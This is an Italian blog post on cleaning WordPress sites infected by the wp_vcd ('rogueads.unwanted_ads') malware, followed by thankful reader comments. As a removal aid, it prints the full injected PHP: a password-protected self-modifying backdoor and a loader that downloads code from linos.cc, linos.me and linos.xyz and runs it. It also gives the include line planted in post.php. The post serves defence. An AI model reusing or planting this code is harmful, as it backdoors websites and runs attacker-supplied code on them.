Blog

Malware rogueads.unwanted_ads – Pulisci subito il tuo sito web!
29
Dic 2017

Malware rogueads.unwanted_ads – Pulisci subito il tuo sito web!

Come accennato nel precedente articolo del blog dedicato a Google Traduttore, durante queste festività natalizie sono purtroppo incappato in uno spiacevole problema malware che ha riguardato il mio hosting account e viziato i 4 siti in esso registrati. Oltre ad un bello spavento iniziale, questo scherzetto mi è costato diverse ore di extra lavoro necessarie per capire esattamente come affrontare questa problematica. Nello specifico, ho avuto a che fare con un malware rogueads.unwanted_ads , che appartiene ad una tipologia di medio livello che una volta installato, infetterà diverse pagine del vostro sito WordPress attraverso un codice nascosto. Di seguito vi spiegherò come rilevare tale malware, come identificare i files malati, come rimuovere il codice maligno da questi oltre a qualche suggerimento per una prevenzione futura.

 

 

Cos’è il malware rogueads.unwanted_ads e com si sconfigge

I malware che attaccano un sito web, sono iniezioni malevoli di vario genere che una volta entrate all’interno del sito web attaccano determinati files infettando una o più pagine. Questi malware possono manifestarsi attraverso l’inserimento di un codice nascosto contenente un link che punta verso un determinato sito web (sono comuni codice verso pagine di promozione a servizi SEO), attraverso la visualizzazione di annunci o l’apertura di finestre pop-up o pop-under senza il consenso del proprietario del sito.

Tali iniezioni inoltre possono utilizzare script di reti pubblicitarie legittime o meno legittime. Malware di questa tipologia possono essere considerati come universali nel senso che non hanno un obiettivo specifico, ma cercano di colpire più siti possibile in modo da spingere verso l’alto il sito target o offrire a quanta più gente questa sgradevole pubblicità.



Come capire se il tuo sito è stato colpito da un malware

Qualora tu disponga di un ottimo hosting account come Siteground, riceverai una comunicazione direttamente dal loro team di esperti che ti informeranno del problema in cui sei finito. Siteground per esempio, grazie ad una partnership con l’agenzia di website security SUCURI, è in grado di monitorare costantemente l’andamento degli account registrati ed identificare quelli affetti da virus, malware o nella peggiore delle ipotesi dei siti totalmente hackerati.

Nel mio caso specifico avevo ricevuto una comunicazione di questo tipo:

  • [STR]wp_vcd_malware [30/11/16] /home/NOMEACCOUNT/public_html/wp-content/themes/NOMETEMA/functions.php
  • [STR]wp_vcd_malware [16/11/17] /home/NOMEACCOUNT/public_html/wp-content/themes/NOMETEMARISERVA/functions.php

Questa comunicazione significa che purtroppo il mio account era stato colpito da questo malware rogueads.unwanted_ads che aveva colpito il file functions.php dei 2 temi presenti nel mio sito web.

Il primo chiamato NOMETEMA è quello effettivamente attivo, mentre NOMETEMARISERVA sarebbe uno dei temi presenti di default al momento dell’installazione di qualsiasi sito WordPress.

 

 

L’attacco delle precedenti files portava l’infezione delle seguenti pagine:

  • www.nomesito/portfolio
  • www.nomesito/portfolio/ritrattixxx
  • www.nomesito/404.js

 

Come rimuovere il malware rogueads.unwanted_ads dal tuo sito

Grazie all’aiuto del team di specialisti di Siteground, sono stato in grado di identificare i file attaccati. A questo punto l’unica cosa che potessi fare per togliere il file e ripristinare il mio account era quella di operare manualmente. Questa operazione comportava il fatto di accedere al sito attraverso il protocollo FTP, e quindi grazie a strumenti come FileZilla.



Attraverso il protocollo FTP non dovrete far altro che:

  • accedere alle cartelle del sito web attaccato
  • individuare i file affetti
  • scaricarli sulla scrivania del vostro computer

Scaricati i files in questione, in questo caso solamente il functions.php dovrete:

  • aprirli tramite un editor di testo (qualora utilizziate un Mac)
  • aprirli per esempio tramite Online Html Editor
  • individuare il codice maligno
  • rimuovere il codice maligno
  • accedere nuovamente al vostro sito tramite protocollo FTP e caricare il nuovo file nella stessa cartella da cui lo avevate in precedenza scaricato
  • IMP = Sovrascrivete il file, mi raccomando 🙂

 

 

Qual’è il codice malware da rimuovere?

Siamo arrivati alla parte clou e probabilmente più complicata del nostro problema, ovvero capire quale sia il codice maligno e come rimuoverlo. Sin dall’apertura del file infetto avevo notato tra le tante righe di codice uno o più link verso siti sconosciuti oltre a qualche comando decisamene contorto. Questo mi aveva ovviamente insospettito da subito facendomi capire che in quella zona doveva risiedere il codice malware.

La conferma di questo sospetto l’ho trovata in modo definitivo attraverso il confronto con il file originale del mio tema premium acquistato al momento del lancio del sito. Infatti, quello che vi consiglio caldamente, è di confrontare i 2 file functions.php tramite l’editor online sopra indicato, al fine di visualizzare le modifiche apportate ed eliminarle.

 

 

Il codice del malware rogueads.unwanted_ads, che aveva infettato il mio sito era il seguente:

<?php

if (isset($_REQUEST[‘action’]) && isset($_REQUEST[‘password’]) && ($_REQUEST[‘password’] == ’39d03addc3c0d7469864410d072b3d86′))

{

$div_code_name=”wp_vcd”;

switch ($_REQUEST[‘action’])

{

case ‘change_domain’;

if (isset($_REQUEST[‘newdomain’]))

{

if (!empty($_REQUEST[‘newdomain’]))

{

                                                                          if ($file = @file_get_contents(__FILE__))

                                                                   {

                                                                                                if(preg_match_all(‘/\$tmpcontent = @file_get_contents\(“http:\/\/(.*)\/code\.php/i’,$file,$matcholddomain))

                                                                                                            {

                                                                          $file = preg_replace(‘/’.$matcholddomain[1][0].’/i’,$_REQUEST[‘newdomain’], $file);

                                                                          @file_put_contents(__FILE__, $file);

                          print “true”;

                                                                                                            }

                                                                   }

}

}

break;

case ‘change_code’;

if (isset($_REQUEST[‘newcode’]))

{

if (!empty($_REQUEST[‘newcode’]))

{

  if ($file = @file_get_contents(__FILE__))

     {

 if(preg_match_all(‘/\/\/\$start_wp_theme_tmp([\s\S]*)\/\

/\$end_wp_theme_tmp/i’,$file,$matcholdcode))

     {

      $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST[‘newcode’]), $file);

     @file_put_contents(__FILE__, $file);

      print “true”;

        }

        }

}

}

break;

default: print “ERROR_WP_ACTION WP_V_CD WP_CD”;

}

die(“”);

}

$div_code_name = “wp_vcd”;

$funcfile      = __FILE__;

if(!function_exists(‘theme_temp_setup’)) {

   $path = $_SERVER[‘HTTP_HOST’] . $_SERVER[REQUEST_URI];

   if (stripos($_SERVER[‘REQUEST_URI’], ‘wp-cron.php’) == false && stripos($_SERVER[‘REQUEST_URI’], ‘xmlrpc.php’) == false) {

       

       function file_get_contents_tcurl($url)

       {

           $ch = curl_init();

           curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);

           curl_setopt($ch, CURLOPT_HEADER, 0);

           curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

           curl_setopt($ch, CURLOPT_URL, $url);

           curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);

           $data = curl_exec($ch);

           curl_close($ch);

           return $data;

       }

       

       function theme_temp_setup($phpCode)

       {

           $tmpfname = tempnam(sys_get_temp_dir(), “theme_temp_setup”);

           $handle   = fopen($tmpfname, “w+”);

          if( fwrite($handle, “<?php\n” . $phpCode))

  {

  }

else

{

$tmpfname = tempnam(‘./’, “theme_temp_setup”);

           $handle   = fopen($tmpfname, “w+”);

fwrite($handle, “<?php\n” . $phpCode);

}

fclose($handle);

           include $tmpfname;

           unlink($tmpfname);

           return get_defined_vars();

       }

       

$wp_auth_key=’7af507a87318d795efbdb0a3a9028aad’;

       if (($tmpcontent = @file_get_contents(“http://www.linos.cc/code.php”) OR $tmpcontent = @file_get_contents_tcurl(“http://www.linos.cc/code.php”)) AND stripos($tmpcontent, $wp_auth_key) !== false) {

           if (stripos($tmpcontent, $wp_auth_key) !== false) {

               extract(theme_temp_setup($tmpcontent));

               @file_put_contents(ABSPATH . ‘wp-includes/wp-tmp.php’, $tmpcontent);

               

               if (!file_exists(ABSPATH . ‘wp-includes/wp-tmp.php’)) {

                   @file_put_contents(get_template_directory() . ‘/wp-tmp.php’, $tmpcontent);

                   if (!file_exists(get_template_directory() . ‘/wp-tmp.php’)) {

                       @file_put_contents(‘wp-tmp.php’, $tmpcontent);

                   }

               }

               

           }

       }

        

       elseif ($tmpcontent = @file_get_contents(“http://www.linos.me/code.php”)  AND stripos($tmpcontent, $wp_auth_key) !== false ) {

if (stripos($tmpcontent, $wp_auth_key) !== false) {

               extract(theme_temp_setup($tmpcontent));

               @file_put_contents(ABSPATH . ‘wp-includes/wp-tmp.php’, $tmpcontent);

               

               if (!file_exists(ABSPATH . ‘wp-includes/wp-tmp.php’)) {

                   @file_put_contents(get_template_directory() . ‘/wp-tmp.php’, $tmpcontent);

                   if (!file_exists(get_template_directory() . ‘/wp-tmp.php’)) {

                       @file_put_contents(‘wp-tmp.php’, $tmpcontent);

                   }

               }

           }

       } elseif ($tmpcontent = @file_get_contents(ABSPATH . ‘wp-includes/wp-tmp.php’) AND stripos($tmpcontent, $wp_auth_key) !== false) {

           extract(theme_temp_setup($tmpcontent));

          

       } elseif ($tmpcontent = @file_get_contents(get_template_directory() . ‘/wp-tmp.php’) AND stripos($tmpcontent, $wp_auth_key) !== false) {

           extract(theme_temp_setup($tmpcontent));

       } elseif ($tmpcontent = @file_get_contents(‘wp-tmp.php’) AND stripos($tmpcontent, $wp_auth_key) !== false) {

           extract(theme_temp_setup($tmpcontent));

       } elseif (($tmpcontent = @file_get_contents(“http://www.linos.xyz/code.php”) OR $tmpcontent = @file_get_contents_tcurl(“http://www.linos.xyz/code.php”)) AND stripos($tmpcontent, $wp_auth_key) !== false) {

           extract(theme_temp_setup($tmpcontent));

       }     

   

   }

}

//$start_wp_theme_tmp

//wp_tmp

//$end_wp_theme_tmp

?>

Dal confronto con il file originale del mio tema premium, ho notato che questo codice si posizionava esattamente all’inizio di pagine esattamente prima del codice originale. Ciò avviene sempre, qualsiasi sia la tipologia del tema da voi utilizzato, sia premium che gratuiti.



E se non finesse qua?

Possibili problemi anche con il file post.php e wp-vcd.php

Qualora siate stati davvero sfortunati come il sottoscritto, potreste trovare anche altri 2 file affetti da questo malware. Questi sono 2 files sono:

  • post.php
  • wp-vcd.php

il cui percorso dovrebbe con grande probabilità essere :

  • [STR]wp_vcd_malware [11/12/17] /home/ACCOUNT/public_html/NOMESITO/wp-includes/wp-vcd.php
  • [STR]wp_vcd_malware [11/12/17] /home/ACCOUNT/public_html/NOMESITO/wp-includes/post.php

 

In questa situazione si dovrà operare modificando il file post.php (e tra poco vi dirò come) ed eliminando completamente il file wp-vcd.php creato dal malware stesso.

 

Quindi scaricato il file post.php malato, dovrete individuare il codice maligno, confrontarlo come prova del 9 con il file originale del vostro tema ed eliminarlo. Una volta modificato, caricate sempre tramite FTP il file pulito ed il gioco è fatto.

 

Il codice del malware da rimuovere per il file post.php è:

<?php if (file_exists(dirname(__FILE__) . ‘/wp-vcd.php’)) include_once(dirname(__FILE__) . ‘/wp-vcd.php’); ?><?php



Conclusioni

Sperando di esservi stato utile con questa breve guida relativa al malware rogueads.unwanted_ads rimango a disposizione per qualsiasi consiglio ed ovviamente anche per consulenze specifiche. Scrivetemi attraverso la pagina contatti e vi risponderò nel più breve tempo possibile. Alla prossima

Tags are not defined

14 comments

Domenico

Ciao Mattia, è successo esattamente anche a me lo stesso problema ( ero nel panico totale) non mi era mai successa una cosa del genere.
Ti volevo ringraziare perchè seguendo il tuo tutorial per ora Il sito che ho costruito sta funzionando bene
senza problemi.
ho trovato pari pari il codice malware rogueads.unwanted_ads che hai descritto tu, in più ho trovato un
file chiamato wp-tmp.php sempre nella directory wp-includes che conteneva altro codice malware, il file l’ho eliminato.
Avevo trovato anche un’altro sito in inglese che spiegava di controllare il file class.wp.php e
wp-feed.php perchè poteva contenere codice malevole per iniezioni SQL e scripting cross-site, l’ho fatto e per mia fortuna non mi a intaccato il batabase…

Grazie ancora
Domenico

    mattia

    Ciao Domenico,

    mi fa molto piacere che attraverso questo post tu sia riuscito a risolvere il problema. Anche per me era la prima volta, e con un pò di tempo a disposizione e qualche risorsa online sono riuscito a ripristinare il sito. Consiglio finale: tieni sempre plugins + temi Worpress appartenenti al tuo account aggiornati! Nel mio caso, questo malware colpì inizialmente un sito che utilizzavo come test, e poi purtroppo infettò gli altri 3 presenti all’interno del mio pack.

    Grazie a te! Alla prossima!

Francesco

Ciao Mattia.
Stesso problema anche per me. Il file infetto questa volta era il function.php del child del tema attivo. Mentre ci lavoravo mi sono accorto che era un codice sospetto e l’ho prontamente eliminato, ma non mi è venuto in mente che potesse infettare il sito, visto che non mi era mai capitato. Adesso con il codice eliminato ho ancora due URL che presentano il malware.
Come potrei procedere per sanarle? Basta eliminare la pagina e ricrearla?

    mattia

    Ciao Francesco,

    il malware dovrebbe avere inserito del codice infetto all’interno di alcuni file WordPress.

    Non credo che cancellare la pagina e crearne una nuova possa risolvere il problema in quanto il file infetto è appunto all’interno del codice, quindi ad un livello superiore rispetto alla pagina.

    Fossi in te, chiederei supporto al tuo hosting spiegando loro il problema e chiedendo quali siano esattamente i file infetti. Individuati questi, potrai scaricarli – modificarli – caricarli nuovamente tramite FTP.

    Spero esserti stato di aiuto

Ferdinando

Ciao Mattia, GRAZIE MILLE!
Seguendo la tua guida ho risolto il problema su uno dei siti presenti nel mio server.
Il problema è che tutti gli altri siti risultano infetti… Che mi consigli di fare?
Seguo la procedura per tutti? Il malware presente in un altro sito del server… può infettare gli altri?
Oltre a mantenere temi e plugin aggiornati, ci sono delle altre accortezze che mi consigli di seguire per evitare il riproporsi del problema?
Grazie di nuovo!!!
Ferdinando

P.S. Penso che sul codice da eliminare dal file post.php ci sia un “<?php" di troppo. Non essendo un esperto, vedendo il mio sito impazzire… stavo impazzendo pure io! 🙂

    mattia

    Ciao Ferdinando! Mi era capitata la stessa cosa purtroppo. Il malware aveva infettato un sito che usavo pochissimo poiché utilizzato per test. Non essendo aggiornato, venne infettato dal malware che contagiò anche gli altri siti presenti nel mio hosting.

    Io lavorai su tutti i siti individualmente, facendo pulizia dei codici corrotti. Prese tempo ma funzionò.

    Per evitare il riproporsi del problema, ti consiglierei di:

    – aggiornare sempre tema e plugin
    – installare Wordfence o un plugin di difesa simile
    – utilizzare un buon hosting

    Spero di esserti stato di aiuto!

Ankit

Hello Mattia,
I had the same problem, multiple websites on the hosting got affected due to this malware.
I was looking for solution to this malware but then i finally found your blog.
It helped me a lot, thanks a lot for such an amazing explanation.
Rest i would recommend changing your cPanel password after removing this malware to prevent further complications.

Thanks again
Ankit

    mattia

    Hello! I am glad that my post helped you solving this annoying trouble. As soon as I find a bit of time I will update it with your advice about cPanel. Thanks for that

Fabiano

Hello, Mattia…

It helped me a lot, thanks a lot for such an amazing explanation.
Great post!

    mattia

    Hi Fabiano! I am glad that my post have helped you to fix your issue. Thanks for your comment

Nguyen Cuong

Hello, Matta !

My name is Cuong

I come from VIETNAM, I read your blog. It helped me a lot, thanks a lot for such an amazing explanation.

Thank you very much,

Wish you good day !

    mattia

    Hi Cuong, I am glad that my post helped you to fix this problem!

    Change password and keep your WordPress site always updated.

    Best of luck

Sylas Filho

Olá Mattia,

Primeiramente gostaria de lhe agradecer, eu estava verdadeiramente perdido quando me deparei com esse Malware.

No entanto, fiz um scaneamento no Site do Sucuri, e continua assim:
https://i.imgur.com/RXMqSxT.jpg

Tem ideia do que pode ser?

    mattia

    Hi,

    I believe you got the same malware I described in my post. Try to analyze the files I indicated in my guide looking for some strange codes. If you notice something strange just delete it. Best of luck

Leave a reply

Questo sito usa Akismet per ridurre lo spam. Scopri come i tuoi dati vengono elaborati.